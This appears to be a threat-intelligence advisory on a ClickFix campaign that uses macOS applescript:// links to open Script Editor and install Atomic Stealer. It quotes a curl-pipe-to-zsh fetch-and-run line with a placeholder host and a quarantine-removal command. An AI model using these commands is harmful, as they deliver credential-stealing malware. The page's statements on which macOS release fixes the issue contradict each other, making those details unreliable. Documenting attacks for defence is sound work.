ClickFix macOS Script Editor Pivot — applescript:// Bypass of Tahoe Terminal Paste Warnings Delivers Atomic Stealer
ClickFix macOS Script Editor Pivot (TL-2026-0348), also tracked as ClickFix Script Editor Pivot, is a high-severity phishing campaign, first published 2026-04-10. It is attributed to ClickFix Operators (Russia) with medium confidence, affects Apple macOS, maps to 26 MITRE ATT&CK techniques (T1005, T1027, T1036), and is covered by 9 detection rules and 20 indicators of compromise.
Key facts for TL-2026-0348
- Threat ID
- TL-2026-0348
- Also known as
- ClickFix Script Editor Pivot, applescript:// ClickFix, AMOS ClickFix Tahoe Bypass
- Severity
- HIGH
- Status
- ACTIVE
- Category
- PHISHING
- First published
- 2026-04-10
- Last reviewed
- 2026-04-10
- Attribution
- ClickFix Operators
- Attribution confidence
- MEDIUM
- Nation-state nexus
- Russia
- Motivation
- FINANCIAL
- Target sectors
- technology, financial, creative-media, cryptocurrency, consumer, education, legal
- Target regions
- North America, Europe, Asia-Pacific, Global
- Detection rules
- 9
- Indicators of compromise
- 20
Malware and tooling in ClickFix macOS Script Editor Pivot
Malware and tooling: AMOS, Atomic Stealer, AMOS Panel, Script Editor.app, osascript
ClickFix social engineering campaigns have pivoted from Terminal.app to Script Editor on macOS, abusing the applescript:// URL scheme to auto-open a pre-filled AppleScript that executes `do shell script "curl ... | zsh"`. The switch sidesteps macOS Tahoe 26.4's new Terminal clipboard-paste warnings and still delivers the Atomic Stealer (AMOS) infostealer via a multi-stage downloader. Malwarebytes reports ClickFix accounted for more than half of all malware loader activity in 2025, and this new TTP is actively in the wild as of April 2026.
How ClickFix macOS Script Editor Pivot works
Overview
ClickFix is a social-engineering initial access technique that coerces victims into running attacker-supplied commands on their own machines, typically delivered through fake CAPTCHA pages, cracked software sites, SEO-poisoned search results, and malvertising. Historically on macOS, operators instructed victims to copy a 'fix' command and paste it into Terminal.app, where an obfuscated `curl | zsh` pipeline would download a second-stage infostealer (Atomic Stealer / AMOS being the most common payload).
In macOS Tahoe 26.4, Apple shipped a new anti-paste safeguard in Terminal.app that warns users when content is pasted into an interactive shell from an untrusted source, breaking the copy/paste execution flow that ClickFix operators relied on. Security researchers at Malwarebytes disclosed on April 10, 2026 that ClickFix crews have adapted by completely abandoning Terminal and instead invoking the `applescript://` URL scheme to auto-open Script Editor with a pre-filled 'maintenance' script. Script Editor does not implement Terminal's paste-warning prompts, and a single user click on the 'Run' triangle is sufficient to execute the attacker's payload.
Attack Chain
Stage 1 — Lure: The victim lands on an attacker-controlled page (often SEO-poisoned for queries such as 'how to reclaim disk space on mac', 'free up space macbook', 'mac running slow fix'). The page displays a fake Apple-branded dialog offering a one-click 'Apple Script' that claims to clean the Mac, followed by a spoofed 'Freed 24.7 GB' success animation designed to build trust.
Stage 2 — applescript:// Deep Link: The 'run' button triggers navigation to an `applescript://com.apple.scripteditor?action=new&script=<URL-encoded AppleScript>` URL. Safari (and most other macOS browsers) honor the scheme and hand the URL to LaunchServices, which in turn opens Script Editor with the attacker's script pre-populated in a new window. No download prompt is shown.
Stage 3 — AppleScript Execution: The pre-filled AppleScript body is cosmetically a maintenance routine but contains a `do shell script "curl -kSsfL https://<stage2-host>/<path> | zsh"` line. When the user clicks Run (or presses Command-R), Script Editor spawns `/bin/sh -c` under the user's context with full clipboard, keychain, and file-system access.
Stage 4 — Multi-Stage Downloader: The fetched stage-2 script is a base64-encoded zsh loader. It decodes and executes a stage-3 script named `helper` which performs host fingerprinting, disables Gatekeeper quarantine attributes via `xattr -d com.apple.quarantine`, and downloads the final Atomic Stealer Mach-O binary from a short-lived CDN endpoint.
Stage 5 — Atomic Stealer (AMOS): The final payload is an AMOS variant. It enumerates and exfiltrates: Safari/Chrome/Firefox/Brave/Edge cookies and saved passwords, macOS Keychain items (prompting the user with a cloned system password dialog via osascript if the keychain is locked), cryptocurrency wallet files (Exodus, Electrum, Atomic Wallet, Ledger Live, Coinomi, Trust Wallet, MetaMask browser extension storage), Telegram `tdata`, Discord tokens, Notes database, and SSH keys. Stolen data is archived and POSTed to a hardcoded C2 over HTTPS.
Novel Defensive-Evasion Aspect
The central innovation is the OS-level pivot from Terminal to Script Editor. Apple's 26.4 Terminal paste warning was explicitly designed to break ClickFix; operators responded within days by switching execution hosts to a sibling Apple-signed utility that ships on every Mac and parses the `applescript://` URL scheme automatically. The technique also bypasses any heuristic that keyed on clipboard-to-Terminal telemetry, because no clipboard interaction occurs — the script body is embedded directly in the URL and materializes inside a trusted Apple application window.
Impact and Scope
ClickFix was responsible for more than 50% of observed malware-loader activity in 2025 according to Malwarebytes telemetry and is the dominant initial-access vector for macOS infostealers including Atomic Stealer, Poseidon, Cthulhu Stealer, MacSync, and Infiniti. The Script Editor pivot effectively restores ClickFix's macOS conversion rate to pre-Tahoe-26.4 levels and will likely be adopted across infostealer families within weeks. Enterprises with macOS fleets are at risk of mass credential theft, browser session hijack, and downstream business-email-compromise (BEC) and cryptocurrency theft.
Recommended Mitigations
Update to macOS Tahoe 26.4 or later — Apple extended paste-warning heuristics to Script Editor in 26.4; older Tahoe builds and Sonoma/Sequoia/Ventura are unprotected. Deploy a configuration profile blocking or prompting for the `applescript://` URL scheme via LaunchServices handler overrides. Enforce MDM restrictions preventing Script Editor launch by non-admin users where feasible. Monitor for Script Editor spawning `/bin/sh`, `/bin/zsh`, or `curl` child processes via EDR. Block known ClickFix lure infrastructure and Atomic Stealer C2 at DNS/proxy. Train users that any webpage offering a one-click 'Apple script' to clean, repair, or optimize a Mac is malicious.
MITRE ATT&CK techniques used in TL-2026-0348
collection
T1005 Data from Local System; T1056 Input Capture; T1560 Archive Collected Data
defense-evasion
T1027 Obfuscated Files or Information; T1036 Masquerading; T1140 Deobfuscate/Decode Files or Information; T1564 Hide Artifacts
exfiltration
T1041 Exfiltration Over C2 Channel
execution
T1059 Command and Scripting Interpreter; T1204 User Execution; T1559 Inter-Process Communication
command-and-control
T1071 Application Layer Protocol; T1105 Ingress Tool Transfer; T1573 Encrypted Channel
discovery
T1082 System Information Discovery; T1083 File and Directory Discovery; T1217 Browser Information Discovery
initial-access
T1189 Drive-by Compromise; T1566 Phishing
credential-access
T1539 Steal Web Session Cookie; T1552 Unsecured Credentials; T1555 Credentials from Password Stores
defense-impairment
resource-development
T1583 Acquire Infrastructure; T1608 Stage Capabilities
impact
Affected products and versions in ClickFix macOS Script Editor Pivot
- Apple — macOS
Vulnerable versions: Ventura 13.x; Sonoma 14.x; Sequoia 15.x; Tahoe 26.0; Tahoe 26.1; Tahoe 26.2; Tahoe 26.3
Fixed in: Tahoe 26.4 - Apple — Script Editor.app
Vulnerable versions: all versions prior to Tahoe 26.4
Fixed in: bundled with macOS Tahoe 26.4 - Apple — Safari
Vulnerable versions: all versions — honors applescript:// via LaunchServices
Remediation for ClickFix macOS Script Editor Pivot
Patches
- macOS Tahoe 26.4 — extends paste-warning heuristics to Script Editor and osascript (Apple, April 2026).
Immediate actions
- Push macOS Tahoe 26.4 or later to all managed Macs via MDM — Apple extended paste warnings to Script Editor in this release.
- Deploy a LaunchServices configuration profile that unbinds or prompts for the applescript:// URL scheme on end-user devices.
- Block known Atomic Stealer C2 domains and IP ranges at perimeter DNS, proxy, and egress firewalls.
- Alert users immediately: any 'click to run an Apple script' button on a webpage is malicious — do not click.
Workarounds
- Remove or rename Script Editor (/System/Applications/Utilities/Script Editor.app) on hardened workstations.
- Use `defaults write com.apple.LaunchServices LSHandlers` to redirect the applescript URL scheme to a no-op handler.
- Deploy Browser Guard or equivalent extension that intercepts clipboard writes and suspicious URL-scheme navigations.
Longer-term hardening
- Deploy an EDR with macOS behavioral detection for Script Editor spawning /bin/sh, /bin/zsh, curl, or osascript child processes.
- Restrict Script Editor execution to admin users only via TCC/MDM configuration profile where business justification allows.
- Implement browser-based clipboard and URL-scheme guardrails (e.g., Malwarebytes Browser Guard, uBlock Origin with custom rules) across the fleet.
- Run periodic tabletop exercises on macOS infostealer response including mass credential rotation and keychain inventory.
Weaknesses (CWE) in ClickFix macOS Script Editor Pivot
CWE-1021, CWE-451, CWE-829, CWE-506
Timeline of ClickFix macOS Script Editor Pivot
- ClickFix technique first widely documented by Proofpoint and other vendors as a social-engineering initial access vector using fake browser-update lures pasted into Windows Run dialog.
- Atomic Stealer (AMOS) established as the dominant macOS infostealer sold on underground forums; initial access delivered via cracked software, malvertising, and SEO poisoning.
- ClickFix operators widely adopt macOS Terminal.app as an execution host, telling victims to copy and paste curl-pipe-to-zsh commands from fake CAPTCHA and maintenance pages.
- Malwarebytes publishes year-end telemetry showing ClickFix accounted for more than 50% of all malware loader activity observed in 2025 across Windows and macOS.
- Apple ships macOS Tahoe 26.0 with a new Terminal.app clipboard-paste warning specifically targeting ClickFix-style copy/paste attacks on user-interactive shells.
- Security vendors report a measurable drop in successful macOS ClickFix infections following broad adoption of macOS Tahoe 26.x Terminal paste warnings.
- First in-the-wild samples observed using applescript:// URL scheme to auto-open Script Editor with pre-filled 'Reclaim Disk Space' maintenance script by Malwarebytes Labs telemetry.
- Apple releases macOS Tahoe 26.4 which extends paste-warning heuristics to Script Editor and osascript invocations from URL schemes.
- Threadlinqs Intelligence publishes TL-2026-0348 tracking the new TTP with detection coverage, attack simulation, and IOC intelligence.
- Malwarebytes Labs publicly discloses the ClickFix Script Editor pivot with sample analysis showing Atomic Stealer as the final payload.
- As of 2026-05-29, this ClickFix macOS Script Editor/applescript:// pivot delivering Atomic Stealer remains actively exploited in the wild, corroborated by Jamf, Malwarebytes, Microsoft (May 6 2026 report noting continued evolution), Sophos and Intego. No CVE/patch neutralizes it; Safari still honors applescript:// via LaunchServices and the financially-motivated AMOS ecosystem is spreading the TTP across families.
Sources cited for ClickFix macOS Script Editor Pivot
- ClickFix finds new way to infect Macs
- Atomic macOS Stealer (AMOS) — Technical Analysis
- ClickFix Campaign Analysis — Proofpoint
- macOS Tahoe 26.4 Release Notes — Terminal and Script Editor Security
- CISA Advisory: ClickFix Social Engineering Targeting macOS
- applescript:// URL Scheme — Apple Developer Documentation
- AMOS (Atomic macOS Stealer) IOC Collection
- MITRE ATT&CK T1566 — Phishing
- MITRE ATT&CK T1059.002 — AppleScript
Threats related to ClickFix macOS Script Editor Pivot
- Atomic Stealer (AMOS) macOS Campaign via ClickFix Script Editor Abuse
- macOS ClickFix Campaign: AppleScript Stealers Abuse Terminal and Script Editor Before macOS 26 Protections
- The Quarry PhaaS/MaaS Operation Impersonating IRS and SSA to Deliver ConnectWise ScreenConnect RMM Access
- Multi-Stage SEO Poisoning Campaign Delivers Pterodo (Windows) and AMOS (macOS) via Cloudflare Workers/Pages and ClickFix — Fake Claude Code / NotebookLM Installers
Detection coverage for TL-2026-0348
As of 2026-04-10, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0348 across Splunk SPL, Microsoft KQL and Sigma, covering 20 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.